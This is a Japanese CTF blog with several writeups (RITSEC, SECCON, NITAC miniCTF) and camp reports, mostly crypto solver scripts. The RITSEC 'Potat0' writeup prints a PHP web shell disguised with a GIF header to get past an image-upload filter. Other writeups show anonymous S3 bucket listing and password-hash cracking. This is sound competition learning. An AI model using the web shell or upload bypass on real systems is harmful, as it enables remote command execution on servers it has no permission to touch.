yoshikingのがんばる日記

あたまよくないけどがんばります

yoshi-camp 2020 参加記

はじめに

yoshi-campを去年に引き続き今年も開催しました。今回はコロナの影響でオンライン開催となり、discord上で発表者が画面共有をする方法を取りました。 参加者はtheoremoonptr-yudai、僕の3人のみで、3/11, 12日に行いました。 前回はtheoremoonとptr-yudaiの2人が発表したのですが、今回は僕も発表しました。

講義内容としては、現代暗号をメインに取り扱っています。

LLLとCrypto by theoremoon

はじめは格子やSVPといった、LLLを使う上で必要となる概念の解説から始まりました。 その点を踏まえた上で、

  • Markle-Hellman Knapsack暗号
  • Rolling Hash
  • Approximate GCD

のケースにおいてどのような行列をLLLに適応すれば解けるのかを勉強しました。

HITCON CTF 2019 Quals - not so hard RSA writeup by yoshiking

これはタイトルの通りで、HITCONで出されたnot so hard RSAという問題を題材に実際にLLLを使って問題を解いてみよう講義でした。 いくつかのwriteupがあったのですが、hellmanさんのwriteupを参考に講義をしました。

theoremoonは理論ベースで、僕は実際に問題を解いて見ようと言った形でした。 ただ、LLLを適応する上で行列を作れてそうでも、値がうまく出ないケースや近似値を用いてもうまく出る原理、スケーリングする値など、わからない箇所が山ほどありました。

LLL難しい〜〜〜

猫と解く楕円曲線暗号 by ptr-yudai

弊チーム楕円曲線担当が実際にいろいろな攻撃手法を解説してくれました。 スライドの目次なんですが、

  • 退屈なことはsageにやらせよう
  • 楕円曲線と愉快な演算
  • 我々は何ができて何ができないのか(哲学ではない)
  • 楕円曲線「暗号」
  • 楕円曲線暗号運用でやってはいけないnのこと

といった、どこかで見たことがあるような目次となっていました。

理論解説→CTFで出題された問題を解くと言った流れで演習をしました。 扱った攻撃手法については、

  • Polig-Hellman, baby-step giant-step(sageのdiscrete_log)
  • Pohlig-Hellman Attack
  • MOV Attack(ちょっとだけ)
  • SSSA Attack

を主にしました。 楕円曲線群から加群への写像を考えたりで、頭が爆発しそうなりましたが、なんとか無事終えました。

楕円曲線と少し仲良くなれた気がします。

最後に

zer0pts CTF 2020の準備、運営でドタバタしつつも、なんとかyoshi-camp 2020を行えて良かったです。 また、運営で忙しかったのに、資料をなんとか作成して講義をしてくれたtheoremoon, ptr-yudaiにも感謝です。

おまけ

zer0pts CTF 2020では、私yoshikingはdirty laundryという問題を作成したのですが、非想定解で解けることを防ぐことができず多大なるご迷惑?をおかけしたことを心より深くお詫び申し上げます。

想定解ではLLLを使ってほしかったのですが、paillierで用いる乱数をprngの256bitの値を使ってしまった結果、LLLを使わなくても解ける解法が存在しました(むしろこちらで解いている人が多いと思う)。 幸い、非想定解でもある程度の難易度は保ったままなので良かったのですが、LLLで解いてくれた人には申し訳無さがあります。

prngを埋め込むのミスった〜〜〜〜〜〜うわ〜〜〜〜ん(作問はギリギリにせずに前もって作り、繰り返しチェックをしましょう)

おわり

SageMathでpythonの外部ライブラリを使う

SageMathの上で外部ライブラリをインポートできなかった問題の解決法がわかったので、ここに書き留めておこうと思います.

解決法

sage -pip install <package_name>

でインストールできます. 今まで、普通のpythonには入っているのに、なんでsageでインポートできないんだ??と思っていたのですが、sageはまた別にインストールしないといけないみたいです.

動作確認

nullcon のrockspaperscisorsという問題で確認してみます. 公式がgithubで丁寧にDockerfile付きで公開しているので、ローカルから試します.

この問題は特にsageを使う要素がないのですが、最後に無理やり print(factor(12)) をしてみました.

from sage.all import *
from collections import Counter
from Crypto.Util.number import long_to_bytes, bytes_to_long
from ptrlib import *
import re

sbox = [221, 229, 120, 8, 119, 143, 33, 79, 22, 93, 239, 118, 130, 12, 63, 207, 90, 240, 199, 20, 181, 4, 139, 98, 78, 32, 94, 108, 100, 223, 1, 173, 220, 238, 217, 152, 62, 121, 117, 132, 2, 55, 125, 6, 34, 201, 254, 0, 228, 48, 250, 193, 147, 248, 89, 127, 174, 210, 57, 38, 216, 225, 43, 15, 142, 66, 70, 177, 237, 169, 67, 192, 30, 236, 131, 158, 136, 159, 9, 148, 103, 179, 141, 11, 46, 234, 36, 18, 191, 52, 231, 23, 88, 145, 101, 17, 74, 44, 122, 75, 235, 175, 54, 40, 27, 109, 73, 202, 129, 215, 83, 186, 7, 163, 29, 115, 243, 13, 105, 184, 68, 124, 189, 39, 140, 138, 165, 219, 161, 150, 59, 233, 208, 226, 176, 144, 113, 146, 19, 224, 111, 126, 222, 178, 47, 252, 99, 87, 134, 249, 69, 198, 164, 203, 194, 170, 26, 137, 204, 157, 180, 168, 162, 56, 81, 253, 213, 45, 21, 58, 24, 171, 37, 82, 53, 50, 84, 196, 232, 242, 244, 64, 80, 10, 114, 212, 187, 205, 28, 51, 182, 16, 107, 245, 211, 85, 92, 195, 5, 197, 200, 31, 183, 61, 123, 86, 167, 154, 41, 151, 35, 247, 246, 153, 95, 206, 149, 76, 112, 71, 230, 106, 188, 172, 241, 72, 156, 49, 14, 214, 155, 110, 102, 116, 128, 160, 135, 104, 77, 91, 190, 60, 42, 185, 96, 97, 251, 218, 133, 209, 65, 227, 3, 166, 255, 25]
p = [5, 9, 1, 8, 3, 11, 0, 12, 7, 4, 14, 13, 10, 15, 6, 2]
round = 16

def pad(data, size = 16):
    pad_byte = (size - len(data) % size) % size
    data = data + bytearray([pad_byte]) * pad_byte
    return data

def repeated_xor(p, k):
    return bytearray([p[i] ^ k[i % len(k)] for i in range(len(p))])

def inv_hash(rps, data):
    key = pad(rps, 16)
    state = data
    for _ in range(round):
        tmp = bytearray(16)
        for i in range(len(state)):
            tmp[i] = state[p[i]]
        state = tmp
        for i in range(len(state)):
            state[i] = sbox.index(state[i])
        state = repeated_xor(state, key)
    return state

def attack(datas):
    res = ""
    rps = [b'r', b'p', b's']
    # find middle state
    t = []
    for data in datas:
        for i in rps:
            s = inv_hash(i, long_to_bytes(int(data, 16)))
            t.append(hex(bytes_to_long(s)))
    print(Counter(t))
    middle_state = Counter(t).most_common()[0][0]
    print("[+] middle_state:", middle_state)
    # find first hand
    hand = ""
    for i in rps:
        h = hex(bytes_to_long(inv_hash(i, long_to_bytes(int(datas[0], 16)))))
        print(middle_state, h)
        if middle_state == h:
            hand = i
    return hand

def win(hand):
    my = b""
    if hand == b"r":
        my = b"p"
    elif hand == b"s":
        my = b"r"
    elif hand == b"p":
        my = b"s"
    return my


sock = Socket("localhost", 12121)
for i in range(20):
    hoge = sock.recvline()
    if b"You lose!" in hoge:
        print("[+] omg")
        break
    print("[*] i:", i)
    datas = re.compile(r" ([\dabcdef]{5,})").findall(sock.recvline().decode())
    print("[+] datas:", datas)
    hand = attack(datas)
    print(hand)
    w = win(hand)
    print(w)
    sock.recvuntil("Your move:")
    sock.sendline(w)
print(factor(12))
sock.interactive()
2^2 * 3
[ptrlib]$ My move was: s Secret was: ecc880e813f9c8315e30c8d8c672ed41
You win
Your reward is hackim20{b4d_pr1mitiv3_beats_all!1!_7f65}

きちんとできてますね!!!!

ちなみに実際にやられた方はわかると思いますが、初めに DeprecationWarning: invalid escape sequence が出るのですが動くので無視します.

参考

ask.sagemath.org

NITAC miniCTF 3rd Writeup

明石高専が主催のCTFがあったので、参加しました.

nitaclt.connpass.com

チーム Ocamelot として参加して、総得点2201点で2位でした.

[Sample 1pts] Welcome

コピー&ペーストできますかの問題

NITAC{sup3r_dup3r_sc0re_serv3r} 無事できました.

[Binary 100pts] signature

binaryが与えられます.壊れているっぽいので、hexで見てみます.

00000000: 7f45 4c46 0d0a 1a0a 0000 000d 4948 4452  .ELF........IHDR
00000010: 0000 0423 0000 021d 0806 0000 0007 efb7  ...#............
00000020: 2f00 0000 0473 4249 5408 0808 087c 0864  /....sBIT....|.d
00000030: 8800 0000 1974 4558 7453 6f66 7477 6172  .....tEXtSoftwar
00000040: 6500 676e 6f6d 652d 7363 7265 656e 7368  e.gnome-screensh
00000050: 6f74 ef03 bf3e 0000 1c96 4944 4154 789c  ot...>....IDATx.

IHDRが見えるので画像が入ってそうです.suffixをみるとIENDもあったので、取り出せそうです. ただ、IHDRより前(厳密にはlength 0d より前)がelfのヘッダーになっているので修正します. solverはpythonで書きました.

from binascii import unhexlify

with open('./signature', 'rb') as f:
    data = f.read().strip()

h = "89504e470d0a1a0a000000"
h = unhexlify(h)
p = data[0x0b:-4]
with open('./flag.png', 'wb') as f:
    f.write(h+p)

f:id:y05h1k1ng:20200126182413p:plain

[Binary 100pts] wrong copy

binaryがもらえるので、初手stringsをします. すると、それっぽいものが見えるのでHだけ取り除くと終わりです.

u+UH
NITAC{c0H
py_15_d1H
ff1cul7}
[]A\A]A^A_

NITAC{c0py_15_d1fficul7} objdumpすらしてないけど、なんだったんだ

[Crypto 100pts] base64

自明 of 自明 echo "TklUQUN7RE9fWU9VX0tOT1dfQkFTRTY0P30K" | base64 -d

NITAC{DO_YOU_KNOW_BASE64?}

[Crypto 200pts] knapsack

暗号文と鍵しかもらえないです. 問題名からひねりのないナップサック暗号と仮定して、solverに投げます.

from sage.all import *
from binascii import unhexlify

with open('./ciphertext.txt') as f:
    c = int(f.read().strip())
with open('./publickey.txt') as f:
    data = f.read().strip()
pk = list(map(int, data.split(', ')))

def create_matrix(c, pk):
    n = len(pk)
    i = matrix.identity(n) * 2
    last_col = [-1]*n
    first_row = []
    for p in pk:
        first_row.append(p)
    first_row.append(-c)
    
    m = matrix(ZZ, 1, n+1, first_row)
    m = 1000 * m
    bottom = i.augment(matrix(ZZ, n, 1, last_col))
    m = m.stack(bottom)
    return m

def find_short_vector(matrix):
    for col in matrix.columns():
        if col[0] != 0:
            continue
        if is_short_vector(col):
            return col

def is_short_vector(vector):
    for v in vector:
        if v != 1 and v != -1 and v != 0:
            return False
    return True

m = create_matrix(c, pk)
lllm = m.transpose().LLL().transpose()
short_vector = find_short_vector(lllm)
solution_vector = []
for v in short_vector:
    if v == 1:
        solution_vector.append(1)
    elif v == -1:
        solution_vector.append(0)
m = "".join(map(str, solution_vector))

print(unhexlify(hex(int(m, 2))[2:]))
$ sage solver.py 
b'NITAC{Ra1ph_Merk1e&Martin_Edward_He11man}'

ナップサック暗号の資料としては、これがわかりやすいです.

www.slideshare.net

lazyのsolverと同じでよくて、去年の年末にあった韓国のChiristmasCTFでも同じでも同じことをしました.

暗号化をするスクリプトを配布しないのは、いまいちかなと思いました.

[Crypto 200pts] modulo

こちらが入力した  n でflagのmodを取ったものが返ってきます. ただ、  n の範囲が $$ 0 < n < 123456$$ なのでflagの下位ちょっとしか分からないです.

ポイントとしては、こちらが自由に法を取ることができることです. つまり、中国人剰余定理を用いることで、flagを見つけることができます. 初めは、中国人剰余定理って2つ素数(厳密には互いに素なやつ)で成り立つやつやんけと思っていたのですが、ふるつきに一般化したやつあるぞと言われるまで、完全に忘却の彼方でした. Wikipediaにあるように一般的な定理を用いることで、どの2つも互いに素な任意の整数 m_iの総乗を法とした xをもとめることができます(変数名はwikipediaより).

互いに素な任意の整数を取るわけですが、範囲内でとりうる大きな素数を持ってこればよいです. ただ、 xは求めたいflagなので、 \prod_{i=0}^n m_iがflagより大きくないといけないことに注意しなければなりません.

さっとスクリプトを書いてもいいですが、脳死マンはsageでさくっと作ります(適当に20個ぐらいあればflagより大きくなるかという気持ち).

sage: p = 123456
sage: ps = []
sage: for i in range(20):
....:     p = previous_prime(p)
....:     ps.append(p)

これで psができたので、これを法とした任意の整数 a_iをserverから取得します(素数だからpsと名付けましたが、wikipedia通りに行くなら m_iのことです).

from ptrlib import *
import re

ps = [123449, 123439, 123433, 123427, 123419, 123407, 123401, 123397, 123379, 123377, 123373, 123341, 123323, 123311, 123307, 123289, 123269, 123259, 123239, 123229, 123217, 123209, 123203, 123191, 123169, 123143, 123127, 123121, 123113, 123091]

cs = []
for p in ps:
    sock = Socket('modulo.ctf.jyoken.net', 80)
    sock.recvuntil('n = ')
    sock.sendline(str(p))
    data = sock.recvline().strip().decode()
    c = int(re.compile(r'(\d+)').findall(data)[0])
    cs.append(c)
    sock.close()

print(ps)
print(cs)

これで、後は中国人剰余定理を適応すれば解けます.なぜかここで、僕はsageを使って解きました.(良い子は、行ったり来たりしないようにしましょう!ミス防止のためにも)

sage: ps = [123449, 123439, 123433, 123427, 123419, 123407, 123401, 123397, 123379, 123377, 123373, 123341, 123323, 123311, 123307, 123289, 123269, 123259, 123239, 123229, 123217, 123209, 123203, 123191, 
....: 123169, 123143, 123127, 123121, 123113, 123091]
sage: cs = [36600, 44509, 46577, 34045, 22782, 110367, 13713, 6285, 25340, 26323, 114854, 15597, 14353, 69992, 27973, 62704, 87354, 88307, 115945, 96226, 99843, 16210, 47993, 27209, 30470, 69517, 22583, 7
....: 7273, 90434, 56007]
sage: m = CRT(cs, ps)
sage: from binascii import unhexlify
sage: unhexlify(hex(m)[2:])
b'NITAC{CRT_4lw4ys_h3lps_m3}'

sageのスクリプト上で外部パッケージ(ptrlibとかpycryptodomeとか)がインポートできない問題に悩まされているのですが、いつになったら解決できるんだろうか

[Crypto 300pts] Circular RSA

以下のスクリプトがもらえます.

from Crypto.Util.number import getPrime
from secret import flag

m = int.from_bytes(flag, byteorder='big')
assert m.bit_length() < 1024

p, q = getPrime(512), getPrime(512)
n = p * q
e = 0x10001
c = pow(m, e, n)
rr = (p**2 + q**2) % n

print("(p, q) is over R: x^2 + y^2 = {} mod {}".format(rr, n))
print("c = {}".format(c))

変わった点といえば、 $$x2+y2$$ がもらえます. ここからひたすら式をイジイジするのですが、手掛かりになりそうな式を立てることができませんでした. こうしていると、以下のヒントが公開されました.

Circular RSA:(p^2+q^2) / (pq)の取り得る値の範囲を考える

範囲といわれると、とりあえずwolfram alphaへ投げます. すると、wolfram alphaは賢いので、式を以下のように変形してくれました. (p2 + q2) / (pq) = p/q + q/p ここで、(p2 + q2) / (pq)が意味するのは、p2 + q2 = r % n を商と余りの関係から、p2 + q2 = kn + rと直したときのkに当たるものです. つまりk = p/q + q/pとなり、p, qは同じビット数であり近いので、kが非常に小さいことがわかります(厳密にはkは3以上になることはないのですが詳しくは作問者writeupを見てください).

この辺りで、わちゃわちゃしていたら、ふるつきがk = 2っぽいぞということを教えてくれました.

以上より、合同式ではなく、等式としての p2 + q2を求めることができました. あとは、p * q = nをもっているので、連立方程式として解くことができそうです. ここでもsageを使います.sageを使うと脳死連立方程式が解けるので、頭が弱い僕はガンガン使っていきます.

from sage.all import *
from binascii import unhexlify
import re

with open('./chall.txt') as f:
    data = f.read().strip()

r, c = map(int, re.compile(r' = (\d+)').findall(data))
n = int(re.compile(r' mod (\d+)').findall(data)[0])

k = 2

p, q = var('p q')
eq1 = p*q == n
eq2 = p**2 + q**2 == r + k*n

sols = solve([eq1, eq2], p, q, solution_dict=True)

for s in sols:
    sol_p = s[p]
    sol_q = s[q]
    if 0 < sol_p and 0 < sol_q and sol_p * sol_q == n:
        d = inverse_mod(0x10001, n - sol_p - sol_q + 1)
        m = pow(c, d, n)
        flag = unhexlify(hex(m)[2:])
        if b'NITAC' in flag:
            print(flag)
            exit()
$ sage solver.py 
b'NITAC{r3str1ct10n_r3v34ls_1nf0rm4t10n}'

Contrail 修行日記

この記事はContrail Advent Calendar 2019の4日目の記事です.

前の記事はMaruさんの記事でした. m412u.hatenablog.com

事の発端

このような募集をされていたので、「Contrailには入れないですが、少々の間お邪魔させていただいても...」という変なお願いをMaruさんにさせていただいたのですが、快諾していただきました.

何した??

参加したCTFは9月~10月(seccon予選まで)にあったN1CTF, CSAW, InCTF, BalsnCTF, HITCONあたりだったと思います.もう少し出ている気がしますが...

とりあえず、結果から言うと全然解けなかったです!(猛省!!!!)

どのCTFも一番簡単なCryptoを通すか、rev、miscあたりを同じく解いた記憶があります(激弱!!!!). この期間にwriteupがなかったのも、せいぜい1問とかだったせいです.

やはり、自身の実力不足が光りますね.

とは言え、普段のチームとは別のチームでやるというのは新鮮で楽しかったです. Contrailは人も多く、CTFに限らず様々な情報交換がされていてすごいなと感じました.

最後に

猛省している通り今年は全然貢献できなかったので、また来年機会があればまた修行にいきたいですね(勝手に適当を言ってる).

また、CTFのチームを探してるよ~って方やCrypto興味ある~って方はMaruさんに連絡してみてはいかがでしょうか(これも勝手に適当を言ってる).Contrail、情報交換など勉強になることばかりだと思います.

最後になりましたが、Contrailのチームの皆さん、ほんとにありがとうございました.

次回はnarupiさんの記事です.

RITSEC CTF 2019 Writeup

 11月16〜18日にRITSEC CTFが開かれており、zer0ptsとして参加しました。 結果は、チームで2669pts、68位でした。そのうち、僕は1243pts取りました。 今回は、zer0ptsで参加といっても弊チームのプロがお休み回だったので、個人的には普段より解けました。 といっても、68位…まだまだ僕のレベルはミジンコですね。

[Forensics 100pts] Take it to the Cleaners

 画像が渡されるので、exiftoolにかけてみると、User CommentRVZHRlJQe1NCRVJBRlZQRl9TTlZZRl9KQkFHX1VSWUNfTEJIX1VSRVJ9とあります。 これは、明らかにbase64なので、デコードするとEVGFRP{SBERAFVPF_SNVYF_JBAG_URYC_LBH_URER}となり、ROT13するとflagでした。 RITSEC{FORENSICS_FAILS_WONT_HELP_YOU_HERE}

[Forensics 100pts] Vacation

 chromeのバックアップらしきものがもらえます。 バックアップの復元で適当にググると、linuxでは$HOME/.config/google-chromeにおいておけば良さそうです。

backup - How to back up and restore chrome in ubuntu? - Ask Ubuntu

 この状態で、chromeを立ち上げると、ブックマークにフラグが書いてありました。 f:id:y05h1k1ng:20191121131201p:plain

RITSEC{CHR0M3_BM_FTW}

[Stego 284pts] HD Pepe

 問題文にPepe is alpha tierとあるので、アルファの値を取り出してみます。

[170, 148, 147, 170, 170, 207, 169, 187, 154, 207, 207, 133, 171, 171, 177, 171, 167, 207, 177, 189, 171, 147, 198, 188, 178, 206, 198, 177, 177, 186, 135, 181, 174, 207, 147, 175, 169, 169, 177, 198]

 フラグの長さっぽいですが、文字にはなりません。0xffから引いた値だと文字になりそうなので、やってみると、

UklUU0VDe00zTTNTX0NBTl9CM19NNExJQ0lPVVN9

またまた、base64ですね。デコードすると、フラグでした。 RITSEC{M3M3S_CAN_B3_M4LICIOUS}

画像がでけぇ

[Misc 100pts] Onion Layer Encoding

 問題文にbase16, 32, 64を使って、150回エンコードしたよみたいなことが書いてあります。 base16, 32, 64のそれぞれに出現する文字で判断して、デコードしていきます。

from base64 import b16decode, b32decode, b64decode

with open('./onionlayerencoding.txt', 'r') as f:
    d = f.read().strip().encode()

while True:
    if (b'a' in d) or (b'b' in d) or (b'c' in d) or (b'd' in d) or (b'e' in d) or (b'f' in d) or (b'g' in d) or (b'h' in d) or (b'i' in d) or (b'j' in d) or (b'k' in d) or (b'l' in d) or (b'm' in d) or (b'n' in d) or (b'o' in d) or (b'q' in d) or (b'r' in d) or (b's' in d) or (b't' in d) or (b'u' in d) or (b'v' in d) or (b'x' in d) or (b'y' in d) or (b'z' in d) or (b'w' in d):
        d = b64decode(d)
    elif (b'G' in d) or (b'H' in d) or (b'I' in d) or (b'J' in d) or (b'K' in d) or (b'L'in d) or (b'M' in d) or (b'N' in d) or (b'P' in d) or (b'Q' in d) or (b'R' in d) or (b'S' in d) or (b'T' in d) or (b'U' in d) or (b'V' in d) or (b'W' in d) or (b'X' in d) or (b'Y' in d) or (b'Z' in d):
        d = b32decode(d)
    else:
        d = b16decode(d)
    if b'RITSEC' in d:
        print(d)
        break

RITSEC{0n1On_L4y3R}

 うぅ…脳死コードを書いてしまった。

[Misc 391pts] Crack me If You Can

$ nc ctfchallenges.ritsec.club 8080
Some moron just breached Meme Corp and decided to dump their passwords...  
In the meantime, prepare your GPUs, and get Ready... Set.... and go CRACK!
However... We have a theory that the passwords might come from darkweb2017-top10000.txt, 500-worst-passwords.txt or xato-net-10-million-passwords-1000000.txt
b9124b96bb6bd61214ab5f767445e46b

 最初は何を入力すればいいのか、ちょっとよくわからなかったですが、crackしろなりパスワードのリストが示されていたりしてるので、hash値っぽいものをCrackStationに投げてみます。

https://crackstation.net/

f:id:y05h1k1ng:20191122121407p:plain

 crackできました。このbrianを投げると、更に新しいhash値が生成されます。 3回正解すると、フラグがもらえました。 ただ、crackstationだと、wordlistを網羅しきれていないので、解析ができなかったりするので運まかせです。 それと、僕はわからなかったのですが、生成されるのはhash値だけではなくて、$6$MkHeHEvJBpR3isGL$uhpt4R5wSfkLYkkrIu2EpNjknFycy6NqOFWNO2Ar/0RWnUcDPLYYiir7uAYt8N9eqV31egI9krXjZ6BIEMh7c/みたいなものもあったのですが、よくわかりませんでした。 なので、3回運良くハッシュ値かつ解析できるものになるまでひたすらやりました。

RS{H@$HM31FY0UCAN}

[Web 100pts] Buckets of fun

http://bucketsoffun-ctf.s3-website-us-east-1.amazonaws.com

Author: scriptingislife

 awsのs3サーバーを使っていることがURLからわかります。 aws cliを用いて、このバケットへlsしてみます。

$ aws s3 ls s3://bucketsoffun-ctf/ --no-sign-request
2019-11-22 23:00:21        630 index.html
2019-11-22 23:00:21         25 youfoundme-asd897kjm.txt

 アクセス権の設定が激あまだったので、 --no-sign-requestをつけることで、アクセスできました。 youfoundme-asd897kjm.txtがあることがわかったので、アクセスするとフラグがありました。

RITSEC{LIST_HIDDEN_FILES}

[Web 158pts] Potat0

 ptr-yudaiがasis-final運営の合間に、upload.phpとuploadsディレクトリがあると伝言を残してくれました。 upload.phpに適当にテキストをアップロードしてみますが、imageしかだめなようです。

 pngとかにするのめんどくせーと思っていたら、このサーバーの設計が悪くて、uploadsに他人がアップロードしたファイルが時々混ざっていました。 他の人のファイルを拝借すると、GIF89a;とテキストに書いたものを使ってphpinfoを表示させているものがありました。 手元で確かめると、確かにGIF89aとつけるだけで、GIFファイルだと認識されました。

 これを使って、Remote File Inclusionをします。

GIF89a;
<?php system($_GET["cmd"]);?>

をアップロードして、?cmd=lsで見ると、無事中身が表示されました。 あとは、ひたすらディレクトリを調べていきます。 homeにflag.txtがありました。f:id:y05h1k1ng:20191123003008p:plain

RS_CTF{FILE_UPLOAD_ISN'T_SECURE}

最後に

こいつ、ほんまにcrypto担当か?

SECCON Quals 2019 Writeup

 SECCON Quals 2019 にHarekazeとして出ていました.結果はチームで14位でした.

 僕は、welcome, thank you問とCryptoのZKPayを解きました. CryptoのCRC問についても考えていたのですが、st98さんがパワーで解いてくれました. ここでは、復習も兼ねてCRCについても書きたいと思います.

チームメンバーのwriteup

SECCON 2019 Online CTF の write-up - st98 の日記帳

SECCON 2019 Online CTF Writeup - /var/log/hikalium

writeups/secconctf/2019 at master · hnoson/writeups · GitHub

[Crypto] ZKPay

 ソースコードも何も貰えません.URLのみです.Web問か何かですか. 中身はQR決済?でお金を$1,000,000以上に増やすとflagを得ることができます. 手持ちはadminから与えられた$500のみです.

 お金を送るときにQRコードを発行するのですが、送るお金を入力フォームでは数値以外は弾かれます(エスケープされるaa100 -> 100). しかし、QRコードのデコード・エンコードは適当なツールでできるので、QRコードの金額にマイナスの値を入れることが可能です.

 お金の受取では、マイナスの金額のQRコードは弾かれないので、-$1,000,000のQRを作ることでflagを得ることができました.

 めちゃめちゃ時間を使いました... はじめはproofやhashの偽造・解析あたりの問題かな〜とチームメンバーとともにやっていたのですが、proofやhash一切使いませんでしたね(そもそもソースコードが無いのでしんどい). NaruseJunの方曰く、想定解の目処があるそうなので気になる方は調べてみてください.そしてあわよくば教えて...ください.

[Crypto] Crazy Repetition of Codes

 CRC問題です.問題コードは読みやすくて、crc32をとんでもない数繰り返していて、その結果がAESの鍵となっています. とんでもない数繰り返しているので、当然とんでもなく時間がかかります. 困ったものですが、crc32は2^{32}-1しか状態をもたないので、とんでもない数に比べると圧倒的に小さく、ぎりぎり現実的です. これでも行けるのですが、もう少し頑張って行列と戯れると爆速に計算できます.

 CRC32について、Mを32×32行列、cを32bitsのベクトルとしたとき、


CRC32 _ s (x) = M \times x \oplus c

となります. sは、与える文字列です.cは、x=0を代入すれば求めることができ、Mcが分かればただの表現行列なので、単位ベクトルを与えると求めることができます. ここで、 CRC32 _ s (x)n乗してみましょう.


\begin{aligned}
{CRC32 _ s (x)}^{n}   &=  M \times ( ... M \times (M \times x \oplus c) \oplus c) ... ) \oplus c \\
&= M^{n} \times x \oplus M^{n-1} \times c \oplus M^{n-2} \times c \oplus ... \oplus M \times c \oplus c \\
&= M^{n} \times x \oplus (M^{n-1} \oplus M^{n-2} \oplus ... \oplus M \oplus E) \times c
\end{aligned}

  E単位行列です.入力xに関係しない  (M^{n-1} \oplus M^{n-2} \oplus ... \oplus M \oplus E) 等比数列の和の公式を用いることで、以下のようになります.


(M^{n-1} \oplus M^{n-2} \oplus ... \oplus M \oplus E) = (E - M^{n})(E - M)^{-1} = (M^{n} + E)(M + E)^{-1}

 ここで、(M+E)は正則であるので、計算が可能です. 流れとしては、

  1. 入力文字に対するCRC _ s (x)M, cを求める.
  2.  (M^{n} + E)(M + E)^{-1}を計算する.
  3. 2.とcをかけた結果が、n乗したもの(最初は x=0から始めるので、M^{n} \times xの項は無視です.)

といった感じです.

from binascii import hexlify
from struct import pack

def crc32(crc, data):
  crc = 0xFFFFFFFF ^^ crc
  for c in data:
    crc = crc ^^ ord(c)
    for i in range(8):
      crc = (crc >> 1) ^^ (0xEDB88320 * (crc & 1))
  return 0xFFFFFFFF ^^ crc

def bin2vec(v):
    return ZZ(tuple(map(int, v))[::-1], base=2)

def vec2bin(v, n):
    return tuple(ZZ(v).digits(2, padto=n))[::-1]

n = int("1" * 10000) % (2**32-1)
E = identity_matrix(GF(2), 32, 32)

def calc(s):
    print("[*] Computing for", repr(s))
    c = crc32(0, s)

    M = matrix(GF(2), 32, 32)
    for i in range(32):
        v = [0] * 32
        v[i] = 1
        v = bin2vec(tuple(v))
        v = crc32(v, s) ^^ c
        v = vec2bin(v, 32)
        M.set_column(i, v)
    c = vector(GF(2), vec2bin(c, 32))

    Msum = (M**n + E) * (M + E).inverse()
    res = Msum * c
    return pack(">I", int(bin2vec(res)))

key = b""
key += calc("TSG")
key += calc("is")
key += calc("here")
key += calc("at")
key += calc("SECCON")
key += calc("CTF!")

print(hexlify(key))
$ time sage solver.sage
('[*] Computing for', "'TSG'")
('[*] Computing for', "'is'")
('[*] Computing for', "'here'")
('[*] Computing for', "'at'")
('[*] Computing for', "'SECCON'")
('[*] Computing for', "'CTF!'")
b09bc54fe4a5927b8d3fef85b345bf3f5af656b0db496954

real    0m1.383s
user    0m1.129s
sys 0m0.212s

 これは、速い.鍵が手に入ったので、復号してあげるとflagを得ることができます. (from sage.all import *を使ってpythonですべてをやりたかったんだけど、僕の環境ではCryptoパッケージがあるのに認識されない...悲しい...)

SECCON{Ur_Th3_L0rd_0f_the_R1NGs}

 もともとは、zkpayしか解いてないから書くつもりなかったんですが、TwitterのTLにきれいなwriteupが流れたので、僕も書く気分になりました. これは賢いですね.

セキュリティミニキャンプ in 愛知 2019 参加記

 10/5にミニキャンプが開かれていたので、参加しました.学んだことや感想を書いていきます.

www.security-camp.or.jp

 今回のキャンプでは、分散システム(ブロックチェーン)や機械学習といった流行り?(語弊がありそう)の技術についてのセキュリティがメインになっています.

午前:分散システムで学ぶセキュリティ

 主にブロックチェーンを実装してみようといった感じでした.ブロックチェーンは昔少し嗜んでいたので、事前知識としては十分でした.(CTFで去年の冬あたりブロックチェーン問流行りそうだったけど、最近見ないですね)今まではsolidityを用いたスマートコントラクト関連しかやったことがなく、基盤となるブロックチェーンの実装はしたことがなかったので、非常に楽しかったです.また、言語がpythonだったのも、一番慣れ親しんだ言語なのでプログラムで困るということがないのはよかったです(午後の講義も同じことが言えますが).

 やったこととしては、署名の検証やPoWの実装をしました.PoWはすぐかけたので、10秒に合わせるのを頑張ってました. ただ、時間の関係でDNS関連の話を聞けなかったのが残念です.講義資料と戯れます...

お昼ご飯

 お弁当でした.これがめちゃめちゃおいしかった.ほんとに.

午後:実践 機械学習セキュリティ

 前半に講義をして、残りは演習をひたすらしました.機械学習はAndrew Ng先生の有名なやつを6か7章まで進めた記憶があるので、さっぱりということはなかったです.機械学習に対する攻撃をいくつか挙げられていたのですが、画像に対する攻撃とかpicoCTF2018であったじゃんと思いました(picoマジですごいな...).

 今回は、同一IPからの集中アクセス(パスワード総当たり)を想定した攻撃検知の実装を行い、作ったモデルを自ら攻撃することをしました.ロジスティクス回帰を用いて決定境界を定めました.攻撃者は特徴量の任意の値からモデルの出力(攻撃か否かの確率)を知ることができるという仮定で攻撃します.ここで、未知の変数を解くためにデータをとってきて、連立方程式を解くことにより、決定境界の関数を導きます(ちょっと専門用語の使い方に自信がないです...).これにより、攻撃者は実際のモデルに近しいものを手に入れることができます.モデルを手に入れると、攻撃者の手元でモデルについて研究することができます.今回は50%に近い値となる手元のモデルで見つけ、実際のモデルに投げてみました.プログラムで探索したろ、と思ったのですが、うまく書けなくて泣いちゃいました(2変数なので手動でも全然見つかる).

 連立方程式を解くところとか、いくつ方程式をとればいいか実際はわからなくね?と思いました.次元削除や高次の特徴追加の影響でエスパーするの結構厳しそうに見えるんですが、実際はどうするんですかね(OSINTとか?).詳しい話は以下の論文に乗っているようなので、興味のある方はぜひ.

arxiv.org

さいごに

 めちゃめちゃ楽しかったです.やっぱり実際に動かして遊ぶのは楽しいですね. 最後になりましたが、運営・講師・参加者の皆様ありがとうございました.